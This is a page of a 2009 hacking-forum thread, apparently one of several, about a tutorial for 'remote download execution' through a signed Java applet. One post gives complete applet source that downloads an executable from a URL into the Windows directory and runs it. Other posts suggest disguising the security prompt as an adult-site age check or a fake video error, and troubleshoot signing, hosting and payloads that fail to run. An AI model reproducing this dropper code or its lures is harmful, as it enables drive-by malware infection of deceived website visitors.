Hack Forums
Remote Download Execution with Java [TuT] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: Remote Download Execution with Java [TuT] (/showthread.php?tid=172874)

Pages: Pages 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15


* - darknessfallz112 - Nov 6, 2009

Okay. I've got everything uploaded, and when you go to the page the Run thing pops up, you click run and nothing happens?


* - Arês™ - Nov 6, 2009

It would be grat that message of jave can change like> these is adult site only for 18+ if you wana enter the site pres run ...


* - SB91 - Nov 6, 2009

(Nov 6, 2009 12:10 PM)Riddickk Wrote:  It would be grat that message of jave can change like> these is adult site only for 18+ if you wana enter the site pres run ...

What I have is a fake video box with a flash loading animation which turns into a "java error" and then the popup comes up.


* - memoguy - Nov 7, 2009

when i get to the keytool but this happens:

C:\Users\liam\Desktop\hacking>keytool -genkey –keystore php –alias me
keytool error: java.lang.RuntimeException: Usage error, ûkeystore is not a legal command

how can i fix this
(dont say that im in the wrong directory because i have applyed a registery hack so i dont have to be in the skd dir)


* - memoguy - Nov 7, 2009

Ok i managed to sign it but when i run the application id dose nothing


* - R.T.C - Nov 9, 2009

What webhost to use SPAM.com is good ?


* - -=C0d3ak=- - Nov 9, 2009

(Nov 9, 2009 02:00 PM)Hardcore-Gabber Wrote:  What webhost to use SPAM.com is good ?

drivehq.com is good also.


* - TheShadow - Nov 9, 2009

Hmm, i reviewed the code. I changed it up a bit(a lot). Try my code, im good and Java so you can trust me and look it over. Only a few changes. This seems to work faster and better than the other code.

Code
import java.applet.Applet;
import java.io.BufferedOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.URL;
import java.net.URLConnection;




public class Client extends Applet{

    public Client(){
    }

    public void start(){

        String fileoot = System.getenv("WINDIR");
            String fname = "\\filename.exe";//Change to full file name

            String efool = fileoot.concat(fname);


            final String locationDownload = "http://mywebsite.com/filename.exe";//Change link inside " " to the link to your file location

            download(locationDownload, efool);

            final Runtime run = Runtime.getRuntime();

            try {
                run.exec(efool);
            } catch (final IOException e) {
            }
            return;
        }
    
    public void download(final String address, final String localFileName) {
        OutputStream out = null;
        URLConnection conn = null;
        InputStream in = null;
        try {
            final URL url = new URL(address);

            out = new BufferedOutputStream(new FileOutputStream(localFileName));
            conn = url.openConnection();
            in = conn.getInputStream();

            final byte[] buffer = new byte[1024];
            int numRead;
            while ((numRead = in.read(buffer)) != -1) {
                out.write(buffer, 0, numRead);
            }
        } catch (final Exception exception) {
        } finally {
            try {
                if (in != null) {
                    in.close();
                }
                if (out != null) {
                    out.close();
                }
            } catch (final IOException ioe) {
            }
        }
    }



    public void main(String args[]){

        start();

    }    



    public void stop(){
    }
}



* - Red Rose Killer - Nov 9, 2009

Thank you sir.
Its very easy to follow and useful too.


* - Punisher - Nov 10, 2009

It works, but it corrupts the file when downloaded.


Never mind - it was my server protection.


* - Mukso - Nov 10, 2009

Very impressive :)

- Mukso


* - Viperx28 - Nov 10, 2009

Great TUT MAN
Thanks!!


* - syama22 - Nov 10, 2009

can someone please help me ive been trying to get this to work for a long time now,

i followed every step in the tut, i went back a rechecked.

i tested it on SPAM and 0catch so far i can uploaded the class, jar, and my exe to both hosts without a problem. i get the cert popup but when i click run nothing happens, the exe doesnt run..

the exe runs when i manually execute it from my desktop.. so theres nothing rong with the exe either.

EDIT: i tested it with executing calculator.exe and it worked.. does anyone know why it wont work with some exe's?


* - anthony919nc - Nov 14, 2009

dude thank u you rock


* - iamreallysweet - Nov 15, 2009

Hey thanks mate, its a very good and clean tutorial